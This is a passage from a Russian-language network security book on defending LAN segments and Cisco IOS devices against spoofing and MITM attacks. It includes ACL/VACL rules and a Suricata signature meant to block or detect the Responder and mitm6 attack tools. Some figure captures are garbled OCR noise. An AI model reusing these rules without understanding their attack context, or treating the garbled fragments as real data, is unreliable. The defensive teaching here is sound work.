вать трафик, в котором Responder проводил отравление запросов LLМNR, NBNS
и MDNS. На скриншотах ниже 10.10.100.128 -
атакующий, 10.10.100.129 -
на Windows (рис. 5.3-5.6).
Как видите, при отравлении Responder использует следующие порты:
□ для LLМNR- UDP/5355;
□ для NBNS- UDP/137;
□ для MDNS- UDP/5353.
клиент
Глава 5
136
-~·
. .... -~,......,,"""""'~'~ ~,--~
~
J B/IQ
,......,
Гo18C! ■
1.....
$7 о . вz
59 4G,4704
a,
+О•• ■ ■■
-=
ose
оо ■
-
-
~
ос
- - - - - - - - - - - - - - - - - - - • - - - ------ - - !Orм<l<III!
~-
224 0. 6 2$2
ff02: : 1 З
Llмt.Ч
70 Staadмd цuery $11.4Jt;f А s hUf!l~cher
6114&.4797
2<1
Ь9а26 3
lG.iG.100 129
fe8€1:; 2dce :Ь49а; 2ffk: •Зfсе
ll!IINR
96 St1н-dмd чuery fJ)(f 7 -1
6140 4UH
1е.10.1ее.12я
224 0. 0 252
t.tM~R
6540.4725
teee: ; 2ос . 29ft: f~fc. tedз
ff>R0. : 2t1C:E!': Ь
I t.!1t.iR
•
;
у
ддАА
s.1.:hW1ac.her
10 Staлda, (J query e-.flef мм S<:hi,~t:her
re
n t 0t43Ьf А &<hu,iochttr
116st;}пd11.rd '111му
д 1е 1е.1в.е
128
126 Sta dfн d qщ•r v I eipooseo 0;,: 70 АААА sc hus"'cher АААА . t18e: : 20
1eвstм~•:t;нd qu(>ry rtspcnie 8)if7Фf ддАА "-сhш;1асtнп 1<ААА fe-80· 28
96 Standм·ct QUNY e.:6d1h д sr:h1nмrt-\N
!0 St i1rнJ,11 ,1 r4щ>.ty x6d1b А ,S.<.:.t;,;JМ,;fHH
Рис. 5.3. LLМNR-отравление
Рис. 5.4. NВNS-отравление
~4/;J.4698
5148.4692
)~-11:J .ltt!J 129
feae· 2dcf',b49<\ 2fac•Jfce
/24 6 $ ;>51
52 48 .4696
18. 16 , 188 129
224 6 О 251
'ICNS
53 49.4698
fE-30-: - 2dce: b49a:2f8c. Зfсе
ff$2
fiIO"IS
ttв2
,ь
fb
t'ION~
мо•s
Рис. 5.5. МDNS-отравление
Защищаем сети от спуфинг-атак
137
Рис. 5.6. Концепция отравления запросов с Responder
ACL
ACL (Access Control List) -
это специальные механизмы фильтрации трафика,
которые часто используются в компьютерных сетях.
ACL -
это просто набор
условий: какой трафик ожидается, и как будет вести себя коммуrатор или маршру­
тизатор при появлении такого типа трафика. Примеры применения ACL:
□ управление трафиком. Инженер сети сам решает, какой именно трафик будет
идти в VРN-туннель, какой трафик будет подвергаться трансляции (NA Т) и т. д.;
□ ограничение трафика сетевых протоколов. Инженер сети может использовать
ACL, например для ограничения Smart lnstall, чтобы только ранее доверенные
подсети могли обращаться к SMI. То же самое и с протоколами динамической
маршруrизации вроде OSPF и EIGRP. И даже с протоколами резервирования
шлюзов : HSRP, VRRP, GLBP, CARP, ESRP;
VTY. Терминальные линии VTY используются для
удаленного управления сетевым устройством. ACL позволяют настроить огра­
ничение таким образом, чтобы к VTY можно было подключаться только из до­
□ обеспечение безопасности
веренных подсетей.
ACL бывают двух видов:
□
Standard ACL -
трафик фильтруется только по IР-адресам источника и назна­
чения;
□
Extended ACL -
позволяет фильтровать трафик не только по IР-адресам, но еще
и по портам источника и назначения. Также есть возможность проводить фильт­
рацию по типу протокола (ICMP, TFTP, GRE и т. д.).
138
Глава 5
Нельзя сказать, что Standard ACL лучше, чем Extended ACL. Выбор между ними
зависит от конкретных условий. Однако настройка ACL не заканчивается только их
созданием. Эти ACL нужно еще и привязывать к интерфейсам.
VACL и VMAP
VACL (VLAN Access List) -
это такой тип ACL, который может контролировать
трафик внутри VLAN-cerмeнтa. То есть как раз то, что нам необходимо. Создавать
каждый раз ACL и привязывать его ко всем портам коммутатора было бы слишком
неудобно, к тому же может пострадать масштабируемость. Вместо э~:ого создаем
один процесс VACL, и весь трафик внутри VLAN-cerмeнтa будет под контролем.
Работа V ACL у нас будет основана на двух аспектах:
□ условии (сконфигурированные
ACL с условиями для портов, используемых
LLМNR и NBNS);
□ VАСL-карте (карта фильтрации для VLAN, состоящая из правил с номерами
последовательностей).
Вот пример конфигурации, которая будет блокировать UDP/5355 и UDP/137, чтобы
атаки при помощи Responder были невозможны.
Сначала необходимо создать два АСL-листа:
□ расширенный 1Pv4 ACL -
□
1Pv6 ACL -
для ограничения трафика Responder по 1Pv4;
для ограничения трафика Responder по 1Pv6. Да, Responder может
пролезть и под 1Pv6.
NightmareSwitch(config)# ip access-list extended ResponderIPv4
NightmareSwitch(config-ext-acl)# permit udp any eq 5355 any
NightmareSwitch(config-ext-acl)# permit udp any eq 137 any
NightmareSwitch(config)# ipvб access-list ResponderLLМNRIPvб
NightmareSwitch(config-ext-acl)# permit udp any eq 5355 any
WARNING
Я не стал блокировать UDP/5353, это трафик протокола MONS.
MDNS используется
для корректной работы принтеров, Chromcast, устройств macOS. Его блокировка мо­
жет привести к нарушению работы этих устройств, а мой подход с VMAP достаточно
агрессивный. Пожалуй, оптимальное решение - это мониторить MDNS на уровне IDS
или попытаться выключить через конфигурации в Windows, например через реестр.
Я сконфигурировал условия таким образом, чтобы фильтровался именно порт ис­
точника. С помощью конструкции permit udp any eq <port> any я лишь создаю усло­
вие. Если прилетит трафик, который попадает под это условие, он подвергнется
фильтрации (либо я разрешу трафик, либо запрещу). Кстати говоря, NBNS не под­
держивает 1Pv6, поэтому его порта нет в IPv6 АСL-листе.
Затем нужно создать VАСL-карту с соответствующими seq numbers: 10 и 20.
NightmareSwitch(config)# vlan access-map BLOCKRESPONDER seq 10
NightmareSwitch(config-vlan-map)# match address ResponderIPv4
Защищаем сети от спуфинг-атак
139
NightmareSwitch(config-vlan-map)# match ipvб address ResponderLLМNRIPvб
NightmareSwitch(config-vlan-map)# action drop log
NightmareSwitch(config)# vlan access-map BLOCKRESPONDER seq 20
NightmareSwitch(config-vlan-map)# action forward
Для seq 10 я создаю цепочку, при которой трафик, попадающий под АСL-листы,
будет отброшен, что отразится в логах коммутатора (action drop log).
Для seq 20 я разрешаю работу остального трафика, чтобы не вызвать непреднаме­
ренный DoS (action
forward).
Завершит настройку активация работы VACL. При этом нужно указать, для какой
сети VLAN будет использовать V ACL.
Nightmare(config)# vlan filter BLOCKRESPONDER vlan-list <VLAN ID>
Сигнатура для Suricata
Для Suricata я ради интереса написал вот такую сигнатуру; которая позволит выяв~
лять LLМNR-отравление:
alert udp any 5355 -> any any (msg:"Л LLMNR POISONING DETECTED Л"; Цow:stateless;
content:"180 00 00 01 00 01 00 00 00 001"; sid:1337; rev:l; classtype:attack-feature;)
Блокировка, инструмента mitm6
Mitmб (https://github.com/dirkjanm/mitm6) -
один из самых популярных пенте­
стерских инструментов. Он рассылает ложные сообщения DHCPvб, после которых
легитимные Windows-мaшины будут считать атакующий хост DNS-cepвepoм на
уровне 1Pv6.
Главная проблема безопасности здесь состоит в том, что приоритет IPvб в Windows
гораздо выше 1Pv4 и при обращении Windows к доменным именам будет использо­
ваться адрес DNS-cepвepa на уровне IPvб. Сама Windows при активном IPvб время
от времени генерирует запросы DHCPvб, на которые будет триггериться mitmб.
Это приводит к МIТМ-атаке, при которой злоумышленник сможет перехватить
учетные данные пользователей, а также провести серии Rеlау-атак. Давайте по­
смотрим, как это будет происходить на уровне трафика. Нужно выявить статичные
данные, на основе которых и будет проводиться блокировка (рис. 5.7).
В этом сценарии fe80: :20c:29ff:feal:7346 -
атакующий, а fe80: :Ьс2с:9f07:37Ь8:f7dl­
машина с Windows (рис. 5.8).
Mitmб сгенерировал сообщение DHCPvб ADVERTISE, в рамках которого отправляются
данные о DNS-cepвepe, в том числе сам IРvб-адрес атакующего. Это и· служит глав­
ным источником эксплуатации.
Еще можно заметить, что на уровне транспорта UDP используется порт 547, кото­
рый строго зарезервирован для DНСРvб-ответов со стороны сервера. Очевидно,
Глава 5
140
если UDР-датаграмма с портом источника 54 7 будет лететь внутри сегмента, это
говорит об аномалии и о том, что в пользовательской сети находится сервер
DHCPvб. Существует способ блокировки mitmб, но слишком агрессивный, так что
я просто заблокирую этот порт.
mlt"'6 Р°"""' c:a,tet-lalt р~•,
lti
Ed tf
V!f'W
<;о
u,m,rc
Ма\уп
SшiIOG
Tfl•plwny"
Wnt.-я
Twts
~
1 11 •0 lil 8131!t "- + • "++· 11' ■ а ■ ■ 11
- ------•---------~
r-
Sмn:e
Dн_,.ttran
~
L...,a w.
Рис. 5.7. DHCPvб Advertise от атакующего с SRC UDP PORT/547
Рис. 5.8. Схема эксплуатации с mitmб
141
Защищаем сети от спуфинг-атак
Блокировка на основе VМАР
Здесь абсолютно та же ситуация, что и с блокировкой Responder, и та же концепция
с ACL и VМАР-картами. Необходима серия настроек, которая будет блокировать.
порт UDP/547.
NightmareSwitch(config)# ipvб access-list MITM6DHCPV6UDPSRC
NightmareSwitch(config-ext-acl)# permit udp any eq 547 any
Как в ситуации с Responder, здесь тоже фильтруется именно порт UDP источника
с помощью конструкции permit
udp any eq 547 any.
V АСL-карта с двумя Sеquеnсе-номерами:
NightmareSwitch(config)# vlan access-map ВLОСКМIТМб seq 10
NightmareSwitch(config-vlan-map)# match ipvб address MITM6DHCPV6UDPSRC
NightmareSwitch(config-vlan-map)# action drop log
NightmareSwitch(config)# vlan access-map ВLОСКМIТМб seq 20
NightmareSwitch(config-vlan-map)# action forward
Завершающая конструкция, активация VACL для некоторого сегмента VLAN:
NightmareSwitch(config)# vlan filter ВLОСКМIТМб vlan-list <VLAN ID>
Теперь коммутатор будет фильтровать DНСРvб-сообщения и не пропустит трафик
mitm6 в контексте UDP/547. Это не позволит атакующему навязать себя в качестве
DNS-cepвepa на уровне 1Pv6.
Безопасность дерева STP
STP (Spanning Tree Protocol) -
это L2-протокол, который защищает компьютерную
сеть от широковещательных штормов, блокируя избыточные физические соедине­
ния. Проблема в том, что у Ethernet-кaдpoв нет поля TTL, а широковещательный
трафик будет бесконечно бегать по канальным соединениям, если возникнет ком­
мутационная петля. Протокол работает исключительно на канальном уровне, и для
общения используются фреймы BPDU 802.3. Обычно на управляемых коммутато­
рах STP включен по умолчанию.
Однако атакующий
может отправить
в сторону
коммутатора
STP ВРDU-кадр
с наименьшим значением приоритета, что даст ему шанс перехватить роль корне­
вого коммутатора. Такой ход событий приводит либо к частичной МIТМ-атаке,
либо к DoS.
Гораздо лучше с точки зрения безопасности включить функцию
BPDU Guard.
С ней коммутатор будет логически блокировать порт, на который пришел ВРDU­
кадр. BPDU Guard в таком случае настраивается на пользовательских портах, куда
подключается конечное оборудование (рис. 5.9).
NightmareSwitch(config)# interface range f0/1-24
NightmareSwitch(config-if-range)# spanning-tree bpduguard еnаЫе
Глава 5
142
Рис. 5.9. Схема при включенном BPDU Guard
Если ВРDU-кадр прилетит со стороны атакующего на порт коммутатора, порт
будет выключен.
Безопасность
горячей системы резервирования FHRP
FНRP (First Нор Redundancy Protocol) -
это семейство сетевых протоколов, кото­
рые позволяют нескольким физическим маршрутизаторам работать как один логи­
ческий маршрутизатор с виртуальным IР-адресом. Этот виртуальный адрес будет
назначаться в качестве адреса шлюза по умолчанию для конечных хостов. Такой
подход повышает отказоустойчивость сети и нужен для системы горячего резерви­
рования. Самые распространенные протоколы класса FHRP -
это HSRP и VRRP
(рис. 5.10).
Домен отказоустойчивости
лидирующие Active- (в
FHRP может быть атакован. Так происходит, когда
HSRP) или Master- (в VRRP) маршрутизаторы не имеют
максимального приоритета в своей конфигурации или отсутствует криптографиче­
ская аутентификация.
Если атакующий выполнит спуфинг Active/Master-poли, он проведет МIТМ-атаку и
сможет перехватывать весь трафик сегмента, в котором находится. Также он может
вызвать Blackhole, и нормальная работа сегмента окажется просто невозможной.
Нюанс еще в том, что протоколы
FHRP используют МСАSТ-сообщения, которые
распространяются на весь сегмент сети, и даже обычный пользователь сможет
обнаружить пакеты FHRP.
143
Защищаем сети от спуфинг-атак
~
Сегмент1
~~➔
~~➔
GW1
GW2
~
Сегмент 2
FНRР · ПРОЦЕСС
''
'
~
''
''
·-----------
-➔
-----------
SW1
s
~
VLANX
Атакующий
''
''
'
'
'''
'''
' -- -------- --------- -- --- ....
-
--- ------------ ----- ----- ----.'
Рис. 5.1 О. Типичная схема использования FHRP
Аутентисрик~ция
Аутентификация не позволит сторонним маршрутизаторам вступить в процесс
обеспечения отказоустойчивости. Если инженер собрался защищать FHRP таким
способом, то необходима стойкая парольная фраза.
Пример МD5-аутентификации для HSRP:
NightmareRouterl(config-if)# standЬy Х authentication md5 key-string <KEYSTRING>
Пример МD5-аутентификации для VRRP:
NightmareRouterl(config-if)# vrrp Х authent1cation md5 key-string <KEYSTRING>
Максимальный приоритет
Из соображений безопасности рекомендуется на
Master- или Асtivе-маршрути­
заторе выставить максимальный приоритет. В таком случае, если злоумышленник
отправит вредоносный пакет с приоритетом
255, стать «главным» у него уже не
получится, ведь такой уже имеется. Однако для VRRP это не сработает, потому что
максимальный приоритет, который можно задать, -
254. Поэтому разумнее будет
использовать или аутентификацию, или даже фильтрацию на основе ACL.
144
Глава 5
Пример задания максимального приоритета для HSRP:
NightmareRouter(config)# int g0/0
NightmareRouter(config-if)# standЬy 1 priority 255
Защита динамической маршрутизации
Dynamic Routing Protoco\s (DRP) -
динамическая маршрутизация -
применяется
в каждой крупной корпоративной сети и позволяет маршрутизаторам внутри
AS
обмениваться маршрутной информацией автоматически. Однако я встречал халат­
ное отношение к настройке DRP. А при динамической маршрутизации есть опас­
ные мисконфиги, которые открывают возможности для атак на сам домен динами­
ческой маршрутизации. Например, это может быть отсутствие пассивных интер­
фейсов или отсутствие аутентификации (рис. 5.11 ).
Рис. 5.11. Типичная схема с DRP
Точно так же, как и с
FHRP, пакеты протоколов динамической маршрутизации
мультикастовые, и их можно анализировать со стороны пользовательской сети, т. е.
той сети, которая анонсируется наружу. У потенциального атакующего есть воз­
можность
провести
атаку:
он
может
поднять
на
своей
стороне
виртуальный
маршрутизатор и подключиться к домену маршрутизации. Тем самым он может
вызвать:
□ перечисление информации
-
атакующий получит информацию о некоторых
сетях, которые анонсируются в рамках DRP;
Защищаем сети от спуфинг-атак
□
Blackhole -
145
атакующий может завернуть трафик того или иного хоста в «чер­
ную дыру», вызвав DoS;
□ рассылку ложных обновлений LSU или EIGRP Update, которые могут вызывать
переполнение таблицы
маршрутизации,
вследствие
чего мы получаем
DoS
(в этом случае атакующий должен иметь роль Master).
ТТ ассивные интерсрейсы
Настройка пассивных интерфейсов в контексте динамической маршрутизации
позволяет роутеру запретить рассылку объявлений через некоторые интерфейсы.
По умолчанию без настройки пассивных интерфейсов он рассылает объявления во
все интерфейсы, а это подвергает домен маршрутизации большому риску.
Пример пассивных интерфейсов для OSPF:
NightmareRouter(config)# router ospf Х
NightmareRouter(config-if)# passive-interface GigaЬitEthernet Х/Х
Пример пассивных интерфейсов для EIGRP:
NightmareRouter(config)# router eigrp Х
NightmareRouter(config-if)# passive-interface GigaЬitEthernet Х/Х
Аутентисрикаци$1
Применение аутентификации в доменах маршрутизации позволяет обеспечить воз­
можность входа только авторизованным, легитимным маршрутизаторам. Однако
аутентификация настраивается с помощью паролей. Если вы собираетесь защитить
домен маршрутизации, используя аутентификацию, обязательно позаботьтесь, что­
бы эти пароли были достаточно стойкими. Они хешируются с помощью крипто­
графических хеш-функций, и злоумышленник сможет считать значения хешей из
дампа трафика и вскрыть пароль перебором. С полученным паролем он без труда
подключится к домену маршрутизации.
Пример использования аутентификации для OSPF:
NightmareRouter(config)# interface GigaЬitEthernet Х/Х
NightmareRouter(config-if)# ip ospf authentication message-digest
NightmareRouter(config-if)# ip ospf message-digest-key <КЕУ ID> md5 <KEYSTRING>
Пример использования аутентификации для EIGRP:
NightmareRouter(config)# key chain EIGRPWITHKEYCНAINS
NightmareRouter(config-keychain)# key 1
NightmareRouter(config-keychain-key)# key-string <KEYSTRING>
NightmareRouter(config-keychain)# key 2
NightmareRouter(config-keychain-key)# key-string <KEYSTRING>
NightmareRouter(config)# interface GigaЬitEthernet Х/Х
NightmareRouter(config-if)# ip authentication mode eigrp <ASN> md5
NightmareRouter(config-if)# ip authentication key-chain eigrp <ASN> EIGRPWITHKEYCНAINS
146
Глава 5
Здесь можно использовать даже Кеусhаin-аутентификацию. Это такой стиль аутен­
тификации, при котором применяется несколько ключей. Это усложнит жизнь
атакующему, поскольку придется не только брутить ключи, но еще и угадать их
порядок.
Выводы
Я рассмотрел основные концепции, которые помогут защитить сети от Spoofing-
aтaк. По моему мнению, мощность функций сетевого оборудования криминально
недооценивают. Умело используя их, вы можете сделать очень многое для безопас­
ности сети. Однако подходить к этому нужно с умом и пониманием внутренних
процессов.
ГЛАВА 6
Защищаем сетевое оборудование
от атак на примере Cisco IOS
Безопасность телекоммуникационных устройств -
вопрос острый, особенно в по­
следнее время. Атаки на инфраструктуры провайдеров происходят все чаще. В этой
главе я расскажу, как можно защитить с~тевое оборудование от потенциального
вторжения.
Это продолжение предыдущей главы, в которой я продемонстрировал способы за­
щиты локальной сети от спуфинг-атак. В этот раз я расширю обзор механизмов
безопасности оборудования и опишу новые техники защиты.
Все команды я буду демонстрировать на Cisco IOS. Однако сами механизмы безо­
пасности
всех
реализованы у
вендоров,
отличия лишь
в
иерархии
расположения
компонентов и синтаксисе .
Безопасность коммутационной матрицы САМ
У RouterOS есть несколько проблем сетевой безопасности . Давайте посмотрим, на
какие из них стоит обратить внимание в первую очередь .
САМ
(Content AddressaЬ\e Memory) -
это ассоциативная память коммутатора,
внутри которой хранится таблица МАС-адресов и связанных с ними портов. Это
несложный механизм, однако уже очень давно существует хулиганский вектор
DоS-атаки, при которой атакующий переполняет САМ-таблицу с помощью рас­
сылки
Ethemet-кaдpoв
с
рандомизирующимися
МАС-адресами
источника,
что
перебивает коммутационную матрицу . Очень известный прием, но не упомянуть
о нем я не могу.
Защитить САМ-таблицы своих коммутаторов очень просто, достаточно использо­
вать Port Security. В нашем случае эта настройка подходит для ограничения количе­
ства МАС-адресов за портом коммутатора . Допустим, если мы настроим ограниче­
ние в 20 МАС-адресов на порту, а атакующий начнет в эфире флуд (каким-нибудь
macof), то к порту будут уже применяться ограничения енной политики.
в зависимости от настро­
148
Глава б
Вот пример конфигурации, при которой ставится ограничение в два МАС-адреса,
а при нарушении этого ограничения порт будет выключен.
SaveMe(config)# interface range gX/X
SaveMe(config-if)# switchport port-security maximum <value>
SaveMe(config-if)# switchport port-security violation shutdown
При такой конфигурации в момент нарушения политики МАС-адресов порт будет
переведен в состояние err-disaЬled. Чтобы настроить автоматическое восстановле­
ние порта из этого состояния, понадобится еще одна команда:
SaveMe(config)# errdisaЬle recovery interval 120
SaveMe(config)# errdisaЬle recovery cause psecure-violation
Защита DНСР-сервера от атак истощения
DHCP Exhaustion -
это сетевая атака, позволяющая вызвать у DНСР-сервера отказ
в обслуживании. Атакующий выполняет рассылку ложных сообщений DHCPDISCOVER
с рандомными МАС-адресами источника, вынуждая DНСР-сервер отвечать на каж­
дый такой DISCOVER и выдавать ему адрес.
Вообще, для защиты DНСР-сервера есть технология DHCP Snooping, разобранная
в предыдущей главе. Мы тогда разобрали концепцию защиты именно от появления
ложного DНСР-сервера, а сейчас поговорим про митигацию атаки истощения
адресного пространства.
DHCP Snooping также позволяет настроить Limit Rate: это параметр, отвечающий
за ограничение количества DНСР-сообщений на порту коммутатора. Обычно этот
Limit Rate настраивается именно на портах доступа, куда подключаются конечные
станции. Сами инженеры Cisco рекомендуют использовать ограничение не более
100 пакетов в секунду, однако тут уже стоит отталкиваться от особенностей своей
инфраструктуры и подбирать значение вручную. Делайте это аккуратно, чтобы
случайно не срезать легитимный трафик.
SaveMe(config)# interface range fO/X-XX
SaveMe(config-if)# ip dhcp snooping limit rate <count>
Также стоит включить опцию проверки МАС-адреса в кадрах внутри DНСР­
пакетов:
SaveMe(config)# ip dhcp snooping verify mac-address
Если на порту окажется больше DНСР-месседжей, он просто упадет в состояние
ERR-DISAВLED, будет заблокирован на логическом уровне, и администратору придется
самому поднимать его из этого состояния. Однако Cisco IOS предлагает автомати­
ческое восстановление работы порта, если его заблокировал какой-нибудь меха­
низм защиты. Вот пример команды для автоматического восстановления порта по­
сле срабатывания Limit Rate при DHCP Snooping:
SaveMe(config)# errdisaЬle recovery cause dhcp-rate-limit
Защищаем сетевое оборудование от атак на примере Cisco IOS
149
Еще обычно настраивают таймер и задают время, через которое порт вернется из
состояния ERR-DISABLED. Тут отталкивайтесь от инфраструктуры и своего видения:
SaveMe(config)# errdisaЫe recovery interval <seconds>
Домены отказоустойчивости HSRP & GLBP
Это проприетарные протоколы Cisco, предназначенные для резервирования шлю­
зов. Домены HSRP/GLBP могут подвергнуться атакам спуфинга, и вы к ним долж­
ны быть готовы. Есть два метода защиты.
Первый метод -
выставить максимальный приоритет 255. Если в сети уже суще­
ствует ACTIVE/ А VG-спикер с максимальным значением приоритета, то инъекции
атакующего будут бесполезны и он не сможет перехватить эти роли для после­
дующей МIТМ-атаки.
HSRP (Маstеr-спикер):
SaveMe(config-if)# stanc!Ьy <group_numЬer> priority 255
GLBP (для АVG-спикера отталкивайтесь от особенностей работы протокола GLBP,
там все сложнее по сравнению с HSRP):
SaveMe(config-if)# glbp <group_numЬer> priority 255
Второй метод
-
,
использовать криптографическую аутентификацию. Выберите
стойкую парольную фразу для защиты НSRР/GLВР-доменов, чтобы компьютер
атакующего не смог вмешаться в домен отказоустойчивости. К этой процедуре
нужно отнестись серьезно, т. к. атакующий способен прослушать пакеты этих про­
токолов, выдернуть криптографический хеш и сбрутить пароль. Вы не должны это­
го допустить. Вот как настраивается аутентификация для этих протоколов.
HSRP:
SaveMe(config-if)# stanc!Ьy <group_numЬer> authentication md5 key-string <PHRASE>
GLBP:
SaveMe(config-if)# glbp <group_numЬer> authentication md5 key-string <PHRASE>
Кстати
говоря,
оборудование
Cisco
может
похвастаться
наличием
Кеусhаin­
аутентификации. Эта настройка позволяет создать цепочку из нескольких ключей
и даже настроить специальные временные промежутки, в рамках которых ключи
будут транслироваться между спикерами, будь то домен отказоустойчивости или
домен динамической маршрутизации. Использование Кеусhаin-аутентификации
усложняет жизнь атакующему в несколько раз, ведь· необходимо сбрутить все клю­
чи, угадать их порядок и тайминги.
Вот пример настройки Keychain:
SaveMe(config)# key chain SaveMe
SaveMe(config-keychain)# key 1
SaveMe(config-keychain-key)# key-string <PHRASE>
150
Глава б
SaveMe(config-keychain)# key 2
SaveMe(config-keychain-key)# key-string <PHRASE>
Получилась цепочка из двух ключей. Вы можете применить ее, например, для до­
мена отказоустойчивости GLBP или для домена маршрутизации EIGRP. Продемон­
стрирую два примера. Вместе с цепочкой ключей мы будем использовать МD5.
Настройка для защиты домена отказоустойчивости GLBP:
SaveMe(config-if)# glbp <group_numЬer> authentication md5 key-chain SaveMe
Настройка для защиты домена маршрутизации EIGRP:
SaveMe(config-if)# ip authentication mode eigrp <ASN> md5
SaveMe(config-if)# ip authentication key-chain eigrp <ASN> SaveMe
saveмe в конце команды -
это название созданной цепочки, не перепутайте.
Таким образом мы можем защитить домены отказоустойчивости и домены мар­
шрутизации, реализованные на протоколах
Cisco. Для EIGRP, кстати, не будет
лишним использовать пассивные интерфейсы. Они запрещают рассылку пакетов
приветствия Hello на интерфейсах внутри сети, что лишает атакующего всех шан­
сов воздействовать на домен маршрутизации.
SaveMe(config)# router eigrp <ASN>
SaveMe(config-router)# passive-interfa~e <interface>
Отключение ·DP
DP (Discovery Protocols)- протоколы, предназначенные для автоматического об­
мена служебной информацией между сетевыми устройствами. Это облегчает сете­
вому инженеру процесс устранения сбоев. Но бывают настройки, при которых рас­
сылка протоколов DP (CDP/LLDP) происходит во все сетевые интерфейсы устрой­
ства. Внутренний нарушитель при анализе трафика может перехватить эти пакеты
и получить достаточно чувствительную информацию об устройстве: версию про­
шивки, тиn модели, адресацию и прочее.
Рекомендуется выключать DР-протоколы на портах конечных станций. Однако
если в сегменте есть IР-телефония, необходимо с осторожностью выключать прото­
колы на этих портах, т. к. DP также используются для работы IР-телефонии (VoIP):
SaveMe(config)# interface range fX/-XX
SaveMe(config-if)# no cdp еnаЫе
SaveMe(config-if)# no lldp receive
SaveMe(config-if)# no lldp transmit
Выключение DTP и смена NVLAN
DTP -
это, на мой взгляд, врожденная болезнь коммутаторов Cisco. Бесполезный
протокол, предлагающий автоматическую систему транкинга, которая ухудшает
Защищаем сетевое оборудование от атак на примере Cisco /0S
151
дизайн сети. Сеть в результате становится менее предсказуемой. Сетевой инженер
сам должен решать, где должен быть транк-порт, и явно его настраивать.
Использование этого протокола ставит под удар безопасность сегмента, потому что
если администратор прозевает наличие дефолтных портов коммутаторов Cisco (ко­
торые еще и включены по умолчанию), то атакующий может подключиться к ком­
мутатору, отправить кадр DTP DesiraЫe и тем самым обойти VLАN-сегментацию
на коммутаторе.
Также стоит упомянуть о специфическом векторе атаки DouЫe Tagging. Для совре­
менных инфраструктур эта атака скорее теоретическая и работает, если присутст­
вует дефолтный Native VLAN 1. Поэтому всегда стоит менять значение Native
VLAN (NVLAN) на любое другое. Кстати говоря, Native VLAN - это специальный
VLAN, куда падает нетегированный трафик.
Чтобы выключить
DTP, нужно в первую очередь перевести порты коммутатора
в режим доступа, а также выключить сам DTP:
SaveMe(config)# interface range gO/X-XX
SaveMe(config-if)# switchport mode access
SaveMe(config-if)# switchport nonegotiate
Кроме того, рекомендуется провести перечисление неиспользуемых портов комму­
татора, создать для них специальный VLAN, а-ля «VLAN Shutdown 666», и пере­
местить их туда, а затем перевести в выключенное состояние. Таким образом
уменьшится вероятность несанкционированного подключения к сети.
SaveMe(config)# interface range gO/X-XX
SaveMe(config-if)# switchport mode access
SaveMe(config-if)# switchport nonegotiate
Риски при интеграции
использованных ранее коммутаторов Cisco
Cisco в другую
VTP на этом устройстве. VTP позволяет
централизованно управлять базой данных VLAN, и актуальность этой базы отсле­
живается по номеру ревизии. Если получится так, что на старом коммутаторе Cisco
номер ревизии VTP больше, то кадр с номером ревизии мржет распространиться по
транковым каналам (а на коммутаторе могут быть другие сети VLAN). Из-за этого
текущие коммутаторы обновят свои БД VLAN, и может возникнуть сетевой пара­
Если вам нужно установить ранее использованный коммутатор
сеть, обязательно проверьте состояние
лич.
Всегда проверяйте настройки VTP на старом оборудовании, которое хотите помес­
тить в сеть. Вы можете сбросить номер ревизии, если измените имя VТР-домена на
любое другое и поставите требуемое.
SaveMe(config)# vtp mode client
SaveMe(config)# vtp domain shadjfkshdfjaks
SaveMe(config)# vtp domain <necessary vtp domain name>
152
Глава б
Также можно переключить коммутаторы в режим VTP Transparent, они не участ­
вуют в процессах VTP.
SaveMe(config)# vtp mode transparent
Безопасность линии VТУ
Терминальные линии
VTY позволяют подключаться к сетевому оборудованию
удаленно (SSН/Winbox/НTTP/API). Однако бывает, что VTY не защищены с помо­
щью ACL, позволяющих фильтровать подключения к VTY только из определенных
Management-noдceтeй, которые используют администраторы для управления обо­
рудованием.
Хорошая практика -
использовать концепцию fail2ban внутри инфраструктуры.
Вдрут один из админских компьютеров будет заражен трояном, который найдет
службы SSН/НТТР на оборудовании и начнет брутфорсить их? Также на службах
SSH желательно использовать аутентификации по ключу и запрет входа по паролю.
Вот пример простого ACL, который защищает линии VTY и разрешает подключе­
ние только из указанной подсети:
SaveMe(config)# access-list 10 permit <suЬnet> 0.0.0.255
SaveMe(config)# access-list 10 deny any log
SaveMe(config)# line vty О 15
SaveMe(config-line)# access-class 10 in
Строка access-class
10 in привязывает этот ACL к линиям 0-15.
ТТароли Cisco IOS
У Cisco IOS есть проблемы с безопасностью хранения паролей внутри операцион­
ной системы. Не рекомендуется использовать типы паролей 4, 5 и 7, т. к. они под­
разумевают шифрование SНА-256, МD5 и Vigenere Cipher соответственно. Брут­
форс таких паролей не составляет труда, а для типа 7 нужен просто дешифратор
ciscot7 (https://github.com/theevilblt/ciscot7).
Лучшая практика -
использовать ТУРЕ 8, ТУРЕ 9 (PBKDF2,
SCRYPT), а также
ААА (Authentication, Authorization, Accounting) для централизованного управления
учетными записями (RADIUS or TACACS+).
На примере ТУРЕ 8:
SaveMe(config)# еnаЫе algorithm-type sha256 secret <password>
SaveMe(config)# username motor algorithm-type sha256 secret <password>
INFO
В ТУРЕ 8 используются SHA-256, 80-битная соль и 20 ООО итераций, что делает этот
тип хеширования достаточно безопасным для защиты паролей. Сбрутить их будет
очень сложно.
•
Защищаем сетевое обоеrдование от атак на примере Cisco /0S
153
Безопасность при работе с SNMP
Если атакующий сбрутит строку
SNMP RW, то это позволит ему прочитать на­
стройки маршрутизатора и получить крайне чувствительную информацию об ин­
фраструктуре (IР-адресация, конфигурация интерфейсов, учетные записи и пароли
в хешированном виде). С этой информацией у атакующего есть все шансы проник­
нуть внутрь инфраструктуры и продолжить продвижение по сети.
Существуют два варианта решения этой проблемы:
□ установить стойкую RW-фразу, которую будет крайне тяжело сбрутить.
□ ограничить сетевой доступ к UDP/161 путем настройки АСL-листов. Пусть этот
порт участвует только во взаимодействии с легитимным SNМР-сервером.
Настройка новой RW-строки:
SaveMe(config)# snmp-server cormtunity <string> RW
INFO
Перед настройкой RW-строки обязательно проверяйте связность между оборудовани­
ем Cisco и SNМР-сервером.
И второе решение -
использование ACL. Вот пример такого ACL, здесь разреша­
ется только один адрес (адрес самого SNMP-cepвepa). Адаmируйте этот метод под,
свой маршрутизатор, где наверняка есть ACL, т. к. на интерфейс роутера можно
установить только один АСL-лист.
access-list 101 peпnit udp host <snmp_server_ip> any eq 161
access-list 101 peпnit udp host <snmp_server_ip> any eq 162
access-list 101 deny udp any any eq 161
access-list 101 deny udp any any eq 162
access-list 101 peпnit ip any any
Осторожность при срильтрации ICMP
Блокировать ICMP в сетевой инфраструктуре -
грубая ошибка. Во-первых, из-за
